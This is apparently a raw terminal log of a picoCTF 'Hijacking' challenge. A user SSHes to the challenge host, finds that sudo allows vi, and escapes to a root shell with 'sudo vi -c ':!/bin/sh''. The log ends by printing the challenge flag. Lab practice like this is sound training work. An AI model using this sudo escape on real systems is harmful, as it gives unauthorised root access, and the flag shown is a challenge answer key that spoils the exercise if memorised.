Hijacking

Enter your picoCTF username: lakshit

Enter your picoCTF password (characters will be hidden):

==========================================================================

Welcome to the picoCTF webshell!

💻 The webshell is intended only for solving picoCTF challenges. Any

other usage is a violation of our terms and conditions.

📹 Sessions are monitored and logged to prevent abuse. Please do not

enter any sensitive information into the webshell.

🗄 Files stored outside of your home directory will not persist between

webshell sessions.

🌐 Network connectivity and resources are limited. Some limits can be

checked by typing usage.

😴 Idle sessions will automatically log out after 15 minutes.

📚 For more information and a beginner's guide, type less ~/README.txt.

==========================================================================

lakshit-picoctf@webshell:~$ ssh -p 50110

usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind\_interface]

[-b bind\_address] [-c cipher\_spec] [-D [bind\_address:]port]

[-E log\_file] [-e escape\_char] [-F configfile] [-I pkcs11]

[-i identity\_file] [-J [user@]host[:port]] [-L address]

[-l login\_name] [-m mac\_spec] [-O ctl\_cmd] [-o option] [-p port]

[-Q query\_option] [-R address] [-S ctl\_path] [-W host:port]

[-w local\_tun[:remote\_tun]] destination [command [argument ...]]

lakshit-picoctf@webshell:~$ ssh -p 50110 picoctf@saturn.picoctf.net

The authenticity of host '[saturn.picoctf.net]:50110 ([13.59.203.175]:50110)' can't be established.

ED25519 key fingerprint is SHA256:lAxuAwDPxkngr5Aw0vqCbwmNz/+0ii8HjltkWeRcMjw.

This host key is known by the following other names/addresses:

~/.ssh/known\_hosts:1: [hashed name]

~/.ssh/known\_hosts:3: [hashed name]

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '[saturn.picoctf.net]:50110' (ED25519) to the list of known hosts.

picoctf@saturn.picoctf.net's password:

Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.19.0-1024-aws x86\_64)

\* Documentation: https://help.ubuntu.com

\* Management: https://landscape.canonical.com

\* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are

not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/\*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

applicable law.

picoctf@challenge:~$ ls -al

total 16

drwxr-xr-x 1 picoctf picoctf 20 Nov 10 18:08 .

drwxr-xr-x 1 root root 21 Aug 4 21:10 ..

-rw-r--r-- 1 picoctf picoctf 220 Feb 25 2020 .bash\_logout

-rw-r--r-- 1 picoctf picoctf 3771 Feb 25 2020 .bashrc

drwx------ 2 picoctf picoctf 34 Nov 10 18:08 .cache

-rw-r--r-- 1 picoctf picoctf 807 Feb 25 2020 .profile

-rw-r--r-- 1 root root 375 Mar 16 2023 .server.py

picoctf@challenge:~$ sudo su-

[sudo] password for picoctf:

Sorry, try again.

[sudo] password for picoctf:

sudo: su-: command not found

picoctf@challenge:~$ sudo -l

Matching Defaults entries for picoctf on challenge:

env\_reset, mail\_badpass, secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User picoctf may run the following commands on challenge:

(ALL) /usr/bin/vi

(root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py

picoctf@challenge:~$ sudo vi -c ':!/bin/sh' /dev/null

[sudo] password for picoctf:

# ls -al

total 16

drwxr-xr-x 1 picoctf picoctf 20 Nov 10 18:08 .

drwxr-xr-x 1 root root 21 Aug 4 21:10 ..

-rw-r--r-- 1 picoctf picoctf 220 Feb 25 2020 .bash\_logout

-rw-r--r-- 1 picoctf picoctf 3771 Feb 25 2020 .bashrc

drwx------ 2 picoctf picoctf 34 Nov 10 18:08 .cache

-rw-r--r-- 1 picoctf picoctf 807 Feb 25 2020 .profile

-rw-r--r-- 1 root root 375 Mar 16 2023 .server.py

# pwd

/home/picoctf

# cd ../..

# ls -al

total 0

drwxr-xr-x 1 root root 51 Nov 10 18:06 .

drwxr-xr-x 1 root root 51 Nov 10 18:06 ..

-rwxr-xr-x 1 root root 0 Nov 10 18:06 .dockerenv

lrwxrwxrwx 1 root root 7 Mar 8 2023 bin -> usr/bin

drwxr-xr-x 2 root root 6 Apr 15 2020 boot

d--------- 1 root root 6 Aug 4 21:11 challenge

drwxr-xr-x 5 root root 340 Nov 10 18:06 dev

drwxr-xr-x 1 root root 66 Nov 10 18:06 etc

drwxr-xr-x 1 root root 21 Aug 4 21:10 home

lrwxrwxrwx 1 root root 7 Mar 8 2023 lib -> usr/lib

lrwxrwxrwx 1 root root 9 Mar 8 2023 lib32 -> usr/lib32

lrwxrwxrwx 1 root root 9 Mar 8 2023 lib64 -> usr/lib64

lrwxrwxrwx 1 root root 10 Mar 8 2023 libx32 -> usr/libx32

drwxr-xr-x 2 root root 6 Mar 8 2023 media

drwxr-xr-x 2 root root 6 Mar 8 2023 mnt

drwxr-xr-x 2 root root 6 Mar 8 2023 opt

dr-xr-xr-x 2458 nobody nogroup 0 Nov 10 18:06 proc

drwx------ 1 root root 23 Aug 4 21:11 root

drwxr-xr-x 1 root root 66 Nov 10 18:08 run

lrwxrwxrwx 1 root root 8 Mar 8 2023 sbin -> usr/sbin

drwxr-xr-x 2 root root 6 Mar 8 2023 srv

dr-xr-xr-x 13 nobody nogroup 0 Nov 10 18:06 sys

drwxrwxrwt 1 root root 6 Aug 4 21:11 tmp

drwxr-xr-x 1 root root 18 Mar 8 2023 usr

drwxr-xr-x 1 root root 17 Mar 8 2023 var

# cd root

# ls -al

total 12

drwx------ 1 root root 23 Aug 4 21:11 .

drwxr-xr-x 1 root root 51 Nov 10 18:06 ..

-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc

-rw-r--r-- 1 root root 43 Aug 4 21:11 .flag.txt

-rw-r--r-- 1 root root 161 Dec 5 2019 .profile

# pwd

/root

# cat .flag.txt

picoCTF{pYth0nn\_libraryH!j@CK!n9\_566dbbb7}

# ^C

# Connection to saturn.picoctf.net closed by remote host.

Connection to saturn.picoctf.net closed.

lakshit-picoctf@webshell:~$

